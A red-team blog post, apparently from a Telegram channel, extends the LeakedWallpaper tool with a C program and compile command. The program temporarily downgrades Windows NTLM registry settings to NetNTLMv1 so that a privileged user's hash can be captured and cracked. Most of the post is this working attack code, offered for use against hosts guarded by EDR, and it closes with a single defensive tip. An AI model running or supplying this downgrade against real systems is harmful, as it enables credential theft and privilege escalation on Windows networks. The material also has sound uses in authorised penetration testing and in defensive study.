Recently, Misha (http://t.me/Michaelzhm) released the LeakedWallpaper tool (https://github.com/MzHmO/LeakedWallpaper), and I’ve already had the chance to use it on a project. Everything worked perfectly! But why do we need the NetNTLMv2 hash? Let’s explore how we can enhance this technique when dealing with a strict EDR (Endpoint Detection and Response) but with local admin rights.
With local admin rights, you can manipulate registry keys to downgrade NTLM authentication to NetNTLMv1 and obtain a hash that can be restored to an NTLM hash regardless of the user's password complexity (https://t.me/RedTeambro/293). To achieve this, I wrote a small program that backs up the current registry settings, downgrades the authentication, and then restores everything back after 60 seconds.
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // for sleep function
void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Error reading registry key.\n");
}
}
void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Error writing registry key.\n");
}
}
void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}
void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;
ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);
// Delay for 60 seconds
sleep(60);
NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
return 0;
}
Compile the code with:
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c
As a result, I was able to obtain the NetNTLMv1 hash of a privileged user's non-brute-forceable password and recover the NTLM hash within 10 hours. Profit!
Alternatively, for the laziest, we've added the -downgrade
flag directly into the LeakedWallpaper tool (https://github.com/MzHmO/LeakedWallpaper/commit/d6e3cdda0576e902f5e5eebde5fe741d099aa19f).
P.S. Don't forget to add privileged accounts to the "Protected Users" group for added security.